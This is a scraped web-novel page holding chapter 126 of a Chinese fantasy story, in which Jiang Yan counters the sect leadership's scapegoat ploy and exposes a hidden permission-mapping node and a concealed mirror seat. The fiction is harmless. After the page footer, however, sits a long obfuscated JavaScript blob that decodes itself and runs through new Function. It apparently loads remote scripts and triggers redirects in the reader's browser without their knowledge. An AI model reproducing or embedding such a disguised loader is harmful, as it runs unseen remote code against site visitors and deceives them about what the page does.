首页
第126章 封手之后的反扑
返回

第126章 封手之后的反扑

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【沧元图小说网】
09read.com,更新快,无弹窗!

    第126章封手之后的反扑(第1/2页)
    封手措施落地后的第一个晨间,宗门表面安稳,内里却像绷紧的弓弦。弓弦的紧,不是因为谁在吼叫,而是因为很多人突然发现:自己熟悉的那套“工具可用、调度可做、流程可绕”的日常,被一串冰冷的编号钉住了。
    掌心最擅长的,是让大家在不知不觉中依赖它提供的“便利”。便利一旦被剥夺,人就会焦躁,焦躁就会寻找出口。掌心要的就是出口,因为出口里可以塞进新的叙事:谁让你不方便?谁让你被卡住?答案会被导向议衡。
    江砚比任何人都清楚,这一轮的对抗不是刀光,而是心理结构:掌心会用“替罪”与“人情”让封手措施看起来像针对某些人,而不是针对结构。
    所以他把封手的第一天称为“反扑日”。
    ---
    反扑的第一击,来得很“温和”。
    宗主侧在上午递来一份“自查通报”,措辞端正,态度恭谨,核心内容只有一句:会议工具调度席位类别中,经自查确认存在一名“失职值守执事”,其在危机夜间擅自启用调度指令,导致外事协同延迟加剧。宗主侧请求议衡允许“将该执事作为主要责任人处理”,同时建议在处理完成后恢复会议工具调度席位的部分权限,以免影响后续运转。
    这份通报的结构非常精巧:
    *它给你一个“人”:失职值守执事;
    *它给你一个“原因”:擅自启用调度;
    *它给你一个“解决方案”:处理此人,恢复权限;
    *它给你一个“情绪出口”:一切是个体失职,不是结构遮规。
    这就是“替罪席位”。
    掌心把责任塞进一个看似不起眼的岗位,试图让制度战退化为个案处理。一旦议衡接受,封手就会被迫松动,镜像席位核验MIR-01也可能被搁置。掌心就能在松动里换皮。
    沈绫看完通报,冷笑:“他们给我们递了一个可以砍的人。”
    江砚没有笑,反而更冷:“递一个人,是为了换回一只手。”
    首衡问:“怎么拆?”
    江砚答:“不拆人,拆映射。”
    他的意思很明确:议衡不会拒绝处理失职,但也不会用个案替代结构核验。更关键的是,这份通报恰恰暴露了一个弱点:它说“会议工具调度席位类别”,却把责任推到“值守执事”。值守执事能发指令的前提是:他触达了调度席位的权限链。可调度席位权限已被暂停,除非存在镜像席位或绕过映射。
    换句话说,通报越强调“某个执事擅自启用”,越说明背后有一套“让他能启用”的映射结构。
    江砚要抓的不是执事,而是“映射表”。
    ---
    江砚当场回函,态度仍然克制、程序化:
    1.接受宗主侧对“失职值守执事”的责任认定,但要求其责任认定必须进入编号链并接受三方复核;
    2.在责任认定复核完成前,会议工具调度席位封手不撤;
    3.要求宗主侧提交该执事“触达调度席位权限链”的路径存在性索引,包括:授权来源类别、触发节点、刻码触碰纹路;
    4.同步要求提交“会议工具调度席位镜像映射关系”的存在性索引(即映射表存在性),否则无法解释暂停权限后仍能发指令。
    这封回函相当于一句话:你可以递人,但你必须先交结构。
    宗主侧很快回复:“映射关系属于内部技术配置,涉高敏,不便提交。”
    江砚看着这句“不便提交”,心里反而更确定:映射表存在,而且极关键。因为真正不存在的东西,通常会说“无此配置”,而不是“涉高敏”。涉高敏意味着它确实存在,只是不想暴露。
    江砚不与它争“敏不敏”,他改用另一条路:**反证**。
    反证不需要对方交出映射表原件,你只要证明“若没有映射表,某些事件不可能发生”,就能迫使宗主侧在逻辑上承认映射表存在,并进一步触发强制核验。
    这就是议衡最强的打法:不跟你讲故事,跟你讲“不可能”。
    ---
    反证从三个“不可能”开始。
    ###不可能一:权限暂停后仍能发出同类指令
    DISP-01回溯显示,危机夜间发出的三条调度指令源头席位类别与被暂停的会议工具调度席位一致,且指令格式、刻码触碰纹路一致。如果权限暂停真实生效,那么同类指令不应能从同一类别席位发出。
    除非:存在未被暂停的镜像席位,或存在绕过暂停的映射入口。
    ###不可能二:刻码触碰纹路跨系统一致
    BLK-01断灯触碰痕、EXT回路触碰痕、EXT-DSG封签破损刃口痕、ARC-RSK档案封签修饰痕,与危机指令触碰纹路高度一致。断灯、回路、封签、档案、调度属于不同系统,按常规应由不同工具链触达。若没有统一的工具映射或统一的“手套接触规则”执行体系,很难在跨系统产生如此一致的触碰纹路。
    统一触碰纹路意味着统一入口,统一入口通常依赖映射表。
    ###不可能三:合理替班与调离指令的同源类别
    DISP-01已经证明,两项关键岗位调离指令来源于会议工具调度席位类别。调离指令本该属于人事与巡防调度体系,而不是会议工具体系。会议工具席位能发人事调离指令,只能说明:会议工具席位在权限映射上挂接了调度体系的入口。
    这不是“某个执事失职”能解释的,这是系统设计。
    三条“不可能”叠加,结论只有一个:存在“会议工具席位—调度体系”的映射关系,并且存在镜像或绕过机制。
    江砚把这三条反证写成一份极短的“反证报告”,只引用编号链,不加入情绪词,然后提交公衡堂备案,并申请触发“强制结构核验条款”:当出现系统级不可能事件时,宗主侧必须提交结构性配置存在性索引接受三方核验,否则视为结构性遮规加重。
    首衡批准,反证报告编号:PRF-01。
    强制结构核验触发编号:FOR-STR-01。
    公衡堂一旦备案,宗主侧再拖延就会承受来自堂口长老与供奉的压力:这不是议衡一家的要求,这是宗门制度防风险的要求。
    ---
    掌心当然不会轻易交出映射表。它会用第二种方式“交”:交一份伪映射表,或者交一份删改过的存在性索引,让你以为你拿到了结构,但其实拿到的是一张被修饰过的纸。
    江砚对此早有准备。他要求映射表的核验必须通过“对照封存+双源比对”:宗主侧提交的映射索引必须与机要监在权限链抓取中形成的“自观测映射痕迹”对照一致。自观测映射痕迹不靠宗主侧提供,而靠机要监在过去几日捕捉到的指令源头类别、节点触发轨迹、刻码触碰纹路等推导。
    换句话说:你给我一张表,我要用我自己抓到的痕迹去对照。对不上,你那张表就是修饰。
    这种对照,正是掌心最怕的。它可以修饰一份文件,但很难同时修饰多日、多系统、多节点的自然痕迹集合。
    (本章未完,请点击下一页继续阅读)第126章封手之后的反扑(第2/2页)
    ---
    午后,宗主侧果然递来一份“映射关系存在性索引”,仍然不交具体映射表,而是交“存在性说明”:承认存在映射关系,但称其仅用于“冗余备份”,并否认其与调度指令有关,声称危机夜间的调度指令是“系统自动回退机制”触发。
    这是掌心惯用的第二层遮蔽:把人为操作说成系统自动。系统自动听起来中性、不可责难,也更容易让人接受“那就修系统,不要追人”。
    江砚没有直接否定“自动回退”。他只问一个条件性问题:“自动回退机制的触发条件、回退路径、以及回退执行席位类别是什么?请提交触发条件存在性索引与回退路径存在性索引。若为自动,则不涉人名,仅涉条件。”
    宗主侧回答:“触发条件涉高敏。”
    又是“高敏”。
    江砚当场抓住:“自动机制若不能提交触发条件存在性索引,就不能被称为自动。自动必须可复核,否则就是人为伪装。”
    供奉代表立刻附和:“对。自动机制不复核,谁都可以说自动。”
    堂口长老代表也点头:“要么交条件索引,要么承认人为。”
    掌心被逼到一个很窄的口子:它要么承认人为,要么交出自动机制的条件索引。交出条件索引,就等于交出映射表的影子,因为条件索引必然包含“回退入口”与“回退执行席位类别”。
    江砚继续加压,但方式仍是程序化:他提出一个折中,给宗主侧一个退路,同时把对手逼进编号网里:
    *允许宗主侧不公开触发条件具体数值,但必须提交触发条件类别(例如:照度阈值、回路延迟阈值、校验跳变阈值)及其对应的刻码对照短码;
    *允许回退路径不公开具体节点内容,但必须提交回退路径经过的节点名称集合与责任位类别集合;
    *所有提交内容必须进入对照封存并由三方保存,避免事后改口。
    宗主侧若真是自动机制,这个折中不伤它;若是人为伪装,它就很难给出一致的短码与路径集合。
    ---
    最终,宗主侧被迫提交“回退路径节点集合存在性索引”,编号:AUTO-RT-01。索引里出现了一个关键节点名:**K-MAP维护节点**。
    K-MAP不是外事节点,不是资源节点,而是刻码映射维护节点——也就是“映射表维护入口”的名字。名字一出现,一切遮蔽就失效了:你可以说自动回退,但你回退经过映射维护入口,就说明回退依赖映射表。映射表存在,且被触达。
    更重要的是,AUTO-RT-01里还写了回退执行席位类别:**IS-M07**。这是一个此前席位编号清单里没有出现过的类别。也就是说,宗主侧在交席位清单时漏掉了这类席位。漏掉不是疏忽,是隐藏。
    隐藏席位出现在危机回退路径上,意味着:镜像席位不仅存在,而且在关键时刻承担执行。
    江砚看到IS-M07的瞬间,脑中所有链条对齐:这就是掌心的镜像皮。它把执行手藏在“自动回退/冗余备份”名义下,席位清单不写,平时不动,危机时动。一动,就能说“自动”。
    但现在它动过了,并且被编号锁住。
    江砚把AUTO-RT-01与SEAT-BASE-01对照,发现IS-M07不在快照清单内。这意味着:IS-M07要么是核验期间新设的临时席位,要么是以前存在但被刻意不纳入快照。无论哪一种,都违反《临时席位一律编号审计裁定》。
    首衡当场裁定:对IS-M07启动“非法席位核验”,并暂停其全部触达权限;同时要求宗主侧说明为何未在席位编号清单中列出IS-M07,若无法合理解释,视为席位清单不完整,触发重新提交与扩大核验范围。
    非法席位核验编号生成:IL-SEA-01。
    席位清单不完整风险链编号生成:SEA-RSK-02。
    掌心递出替罪席位,想换回封手松动;结果反被逼出镜像映射维护节点与隐藏执行席位类别。
    这就是江砚的反证:你不给我表,我就用你的回退路径把表的入口逼出来;你说自动,我就用自动的路径证明有人在维护映射;你递人,我就追人能触达的结构。
    ---
    掌心的最后挣扎,是把IS-M07再度包装成人情与合理:“IS-M07为长期备用席位,平时不列清单以防泄露;危机时动用属正常。”
    江砚只用一句话压回去:“长期备用席位更应审计。备用不审计,等于永久豁免。”
    供奉代表点头:“对。备用越重要越要审。”
    堂口长老代表也支持:“不审计的备用就是暗权。”
    公衡堂的风向在这一刻彻底变了:从“稳局优先”转向“暗权必须亮”。掌心赖以生存的土壤开始干裂。
    ---
    夜里,机要监开始对K-MAP维护节点做“触达痕迹回溯”。回溯不看内容,只看触达时刻与触达纹路。结果发现:K-MAP维护节点在危机夜间触达过一次,触达纹路与同纹路工具链高度一致。这意味着:同纹路工具链不仅触达断灯、回路、封签、档案,还触达映射维护。
    换句话说:掌心的主线已经从“遮痕动作”升级为“权限映射维护”。它不是在做小动作,它在维护一套让自己永远能绕过暂停的结构。
    而结构一旦被证明存在,就不再是个案可解决。必须拆结构。
    首衡当夜签发《映射维护节点专项拆解裁定》,要求:
    1.K-MAP维护节点立即冻结;
    2.所有映射维护动作必须三方双签三见证,并生成对照封存;
    3.镜像席位类别必须完整列入席位清单,并纳入快照基准;
    4.任何未列清单的镜像席位触达行为视为非法夺权,触发全域冻结与责任位更换。
    裁定编号:MAP-DEC-01。
    江砚看着MAP-DEC-01落笔,心里终于确定:掌心的核心“换皮能力”被抓到脊梁骨了。脊梁骨不是某个执事,不是某个封签,而是映射维护节点与镜像席位体系。
    掌心接下来只有两条路:
    *要么放弃镜像体系,等于自断一臂;
    *要么孤注一掷,在映射体系被拆前制造更大混乱,甚至引入外部力量,让宗门被迫优先“保外事”,从而暂缓拆解。
    江砚把这个判断说给首衡听,首衡只回一句:“外部力量也要编号。”
    江砚点头:“那就把外部协同也纳入门槛核验。掌心若想引外力,就必须在编号里引。”
    这一夜,宗门的规则已经不再只是防守,它开始反攻:从抓手套,转向拆映射。掌心最擅长的“无形控制”,正在被迫变成“有形结构”,而有形结构,终究能被拆。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();